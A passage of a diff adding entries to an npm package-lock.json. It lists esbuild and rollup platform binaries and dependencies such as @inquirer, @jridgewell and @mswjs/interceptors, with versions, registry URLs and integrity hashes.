">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", + "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", + "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", + "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", + "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", + "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", + "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", + "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", + "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", + "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", + "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", + "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", + "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", + "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", + "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", + "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", + "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", + "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", + "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", + "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", + "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@inquirer/ansi": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@inquirer/ansi/-/ansi-2.0.7.tgz", + "integrity": "sha512-3eTuUO1vH2cZm2ZKHeQxnOqlTi9EfZDGgIe3BL3I4u+rJHocr9Fz86M4fjYABPvFnQG/gGK551HqDiIcETwU6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + } + }, + "node_modules/@inquirer/confirm": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/@inquirer/confirm/-/confirm-6.1.1.tgz", + "integrity": "sha512-eb8DBZcz/2qHWQda4rk2JiQk5h9QV/cVHi1yjt0f69WFZMRFn0sJTye3EAP8icut8UDMjQPsaH5KbcOogefrFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@inquirer/core": "^11.2.1", + "@inquirer/type": "^4.0.7" + }, + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/core": { + "version": "11.2.1", + "resolved": "https://registry.npmjs.org/@inquirer/core/-/core-11.2.1.tgz", + "integrity": "sha512-Qd6GJT1yVyrZZCfN8W2qKF5ApmqryXRhRKCuip8h01x2w/esJQ2XIYc6f9abMIHgKQdBfFTSOdbHRLAhuM09UA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@inquirer/ansi": "^2.0.7", + "@inquirer/figures": "^2.0.7", + "@inquirer/type": "^4.0.7", + "cli-width": "^4.1.0", + "fast-wrap-ansi": "^0.2.0", + "mute-stream": "^3.0.0", + "signal-exit": "^4.1.0" + }, + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/figures": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@inquirer/figures/-/figures-2.0.7.tgz", + "integrity": "sha512-aJ8TBPOGB6f/2qziPfElISTCEd5XOYTFckA2SGjhNmiKzfK/u4ot3v0DUzGVdUnKjN10EqnnEPck36BkyfLnJw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + } + }, + "node_modules/@inquirer/type": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/@inquirer/type/-/type-4.0.7.tgz", + "integrity": "sha512-t28inv14nMQ1PhKpsJPY+kEs/c00qzeCOS2gTNRyTjG5d6qsVA2fItxW4hkvGZ5lvanGLdtCzVIx5dwdRpN1+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=23.5.0 || ^22.13.0 || ^20.17.0" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "dev": true, + "license": "ISC", + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@istanbuljs/schema": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.6.tgz", + "integrity": "sha512-+Sg6GCR/wy1oSmQDFq4LQDAhm3ETKnorxN+y5nbLULOR3P0c14f2Wurzj3/xqPXtasLFfHd5iRFQ7AJt4KH2cw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/remapping": { + "version": "2.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", + "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@mswjs/interceptors": { + "version": "0.41.9", + "resolved": "https://registry.npmjs.org/@mswjs/interceptors/-/interceptors-0.41.9.tgz", + "integrity": "sha512-VVPPgHyQ6ShqnrmDWuxjmUIsO9gWyOZFmuOfLd9LfBGQJwZfy0gvv9pbHSJuoFNIYC7ZDX9aoFwowjcdSC4E8w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@open-draft/deferred-promise": "^2.2.0", + "@open-draft/logger": "^0.3.0", + "@open-draft/until": "^2.0.0", + "is-node-process": "^1.2.0", + "outvariant": "^1.4.3", + "strict-event-emitter": "^0.5.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@mswjs/interceptors/node_modules/@open-draft/deferred-promise": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@open-draft/deferred-promise/-/deferred-promise-2.2.0.tgz", + "integrity": "sha512-CecwLWx3rhxVQF6V4bAgPS5t+So2sTbPgAzafKkVizyi7tlwpcFpdFqq+wqF2OwNBmqFuu6tOyouTuxgpMfzmA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@open-draft/deferred-promise": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@open-draft/deferred-promise/-/deferred-promise-3.0.0.tgz", + "integrity": "sha512-XW375UK8/9SqUVNVa6M0yEy8+iTi4QN5VZ7aZuRFQmy76LRwI9wy5F4YIBU6T+eTe2/DNDo8tqu8RHlwLHM6RA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@open-draft/logger": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@open-draft/logger/-/logger-0.3.0.tgz", + "integrity": "sha512-X2g45fzhxH238HKO4xbSr7+wBS8Fvw6ixhTDuvLd5mqh6bJJCFAPwU9mPDxbcrRtfxv4u5IHCEH77BmxvXmmxQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-node-process": "^1.2.0", + "outvariant": "^1.4.0" + } + }, + "node_modules/@open-draft/until": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@open-draft/until/-/until-2.1.0.tgz", + "integrity": "sha512-U69T3ItWHvLwGg5eJ0n3I62nWuE6ilHlmz7zM0npLBRvPRd7e6NYmg54vvRtP5mZG7kZqZCFVdsTWo7BPtBujg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/@remix-run/router": { + "version": "1.23.3", + "resolved": "https://registry.npmjs.org/@remix-run/router/-/router-1.23.3.tgz", + "integrity": "sha512-4An71tdz9X8+3sI4Qqqd2LWd9vS39J7sqd9EU4Scw7TJE/qB10Flv/UuqbPVgfQV9XoK8Np6jNquZitnZq5i+Q==", + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@rolldown/pluginutils": { + "version": "1.0.0-beta.27", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz", + "integrity": "sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAnqjA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.61.1.tgz", + "integrity": "sha512-JnBB8MdXj45cajvTuO5FmPlvFVJRQgvrz1uSEl3NwqFnReAPGwb8EanbGi4z2nRaqLzjJSv5/JmycoTKlRZxHA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.61.1.tgz", + "integrity": "sha512-Jx2g7iSjw4AOT0HDPHM9RV3GNjRXwybWtSFZiZAYUTjUwjVrYIwq3kBf+LnhqJlzXFAqTAh2F7IGI+O568exPw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.61.1.tgz", + "integrity": "sha512-0F1L/Z3Eqv8mT2n3dCpeO8GcTvHvVqkP5/t6DMsn0KzhYVcg+s7Ncl5DS8qjKYEeio6Az0Gt6nyBORay5qIlCA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.61.1.tgz", + "integrity": "sha512-qLttcH871ujY4YcVfUSShhOw+CsoTatYz8gRbHO7Bb92QH059/P0y5do1KMs41fY0BpD2x4AJH/gID0zFiqVKQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.61.1.tgz", + "integrity": "sha512-fUI4RapGE0Oh3mb8mgfvC1O2nU1RpDZUKnDQm3xB1Ipg7C2wTs5Kstz7G2uWK99a8S2yTMq8/P4uycwNa0nJyw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.61.1.tgz", + "integrity": "sha512-H5YrdvJaDtI/U9/emrD4b++xkvp3y/JvOe4rizHbxvkyMfRS/CiRYdji+Pl8D0brEaNFWUh1drQxgAGIl6Xudw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.61.1.tgz", + "integrity": "sha512-Q8CBCCQtDFrYtXoeUXSrnFXKOnyUhx6bz+SkL6A0E7V8kAiCJ5pamq1WtbfpVGhR5TSpXY6ak3avmDc5fHTyJA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.61.1.tgz", + "integrity": "sha512-nwnhk1581l0FBVellGcVCAT0Oi06onEA3WB53sf01VO3I0UPBkMH9sXONYME2K0ovXcNayJfNtHfm6mpJElatQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.61.1.tgz", + "integrity": "sha512-x5Xr49hwt3hdW75UOZm3395YwwzPyauktslv29KpWL/T+vVAzoT3azLcTWv0eMciBNrx+DYjH4paehHoLpPvpg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.61.1.tgz", + "integrity": "sha512-unMS3H73DpaoPyyEVPjGKleM/s0mkmsauTENpw4INQY8y4+IuLNjkueQ5QCtC0D3N38Y38yhAU8OoZ20S2Tm6w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.61.1.tgz", + "integrity": "sha512-zNZzGRnAhwjFEYmvphJRV5XaQGjs62cCmeYYHUT//NbvEnHauw+I85nGG+SiVg5ld4GX8D1IbKIX+ozITQnhMQ==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-musl": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.61.1.tgz", + "integrity": "sha512-LdpWGL8X209B2SIvWjqlc8VZgM6PKfontSerGepuldQmHYrAOtnMCXeJkxXGbC+PPZVOuu5czJo7fNV6aeW8rQ==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.61.1.tgz", + "integrity": "sha512-EC5kTtNaNGOmbMGqar8dvJy6y/hg99GAwjfBz++pxZhQATXGcRjd6c5en5wcbru0vkRmiMGsQKdMJOOf6sza4g==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-musl": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.61.1.tgz", + "integrity": "sha512-8hiwp6D4acEcNK78I4rP0/XtS1sknWIAMJBPdR4l6zUtyTm5KiTDr5bXmWt4foY7nAN7AThDHgkLIEZOWKbzWw==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.61.1.tgz", + "integrity": "sha512-10dh/h/BqA7DuMPWSxkR8uks18FRwnwOEqr5zOTEl+NOwP/OMzKX8OFR/Of9xxDA7D5qef1Nzar5WDD2kCCr1g==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.61.1.tgz", + "integrity": "sha512-YKJ5lg35DP17gcAOggnihe+APw9HLyj1Xn7gsmGumBJAUDa6NGXNixJzmkWLhcK9TOuuyQjdamzvJefkO7qHZQ==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.61.1.tgz", + "integrity": 